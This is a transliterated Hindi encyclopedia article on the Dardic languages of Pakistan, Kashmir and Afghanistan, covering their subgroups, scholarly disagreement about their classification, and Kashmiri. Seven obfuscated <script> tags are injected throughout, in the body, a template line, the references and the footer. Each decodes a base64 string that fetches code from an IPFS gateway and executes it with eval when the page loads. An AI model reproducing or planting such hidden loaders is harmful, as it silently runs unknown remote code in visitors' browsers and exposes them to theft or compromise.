दर्दीय भाषाएँ
dardiy bhashaean pakistan, kashmir aur afaganistan mean boli jane vali aantarsanbandhit bharatiy-eerani bhashaoan ke samooh ko kaha jata hai. ise 'dard' ya 'pishach bhasha' bhi kaha jata hai.[1]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upasamooh
inhean amataur par tin upasamoohoan mean vibhakt kiya jata hai-
- kafiri ya pashchimi
- khovari ya madhy (pashchimottar pakistan ke chitral zile mean prayukt)
- poorvi, jisamean shina aur kashmiri shamil haian.
vidvanh matabhed
kuchh vidvanh 'dardiy' shabd ka istemal keval poorvi upasamooh ki bhashaoan ke lie karate haian aur samooche samooh ke lie 'pishach' shabd ka prayog karate haian. bharatiy-eerani bhasha parivar mean dardiy bhashaoan ki sahi sthiti vidvanoan ke bich vivad ka vishay rahi hai. kuchh vidvanh manate haian ki ye bhashaean bharatiy-eerani bhashaoan ke avishisht charan se utpann huee haian. any logoan ka manana hai ki poorvi aur khovari samooh bharatiy-ary bhashaean haian, jabaki kafiri upasamooh alag hai.[1]
kashmiri bhasha
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kashmiri ekamatr dardiy bhasha hai, jisaka sahityik kritiyoan ke lie vyapak upayog hota hai. shina ke alava poorvi upasamooh ki bhashaean dakshin mean boli jane vali bharatiy-ary bhashaoan ke prabhav ke karan kafi badal chuki haian. dardiy bhashaean apani dhvani pranali tatha vaidik sanskrit ke kal ke bad bharat aur eeran mean lupt ho chuke kee shabdoan ke sanrakshan ke mamale mean bharatiy-eerani bhashaoan se bhinn haian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat jnanakosh, khand-3 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 11 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>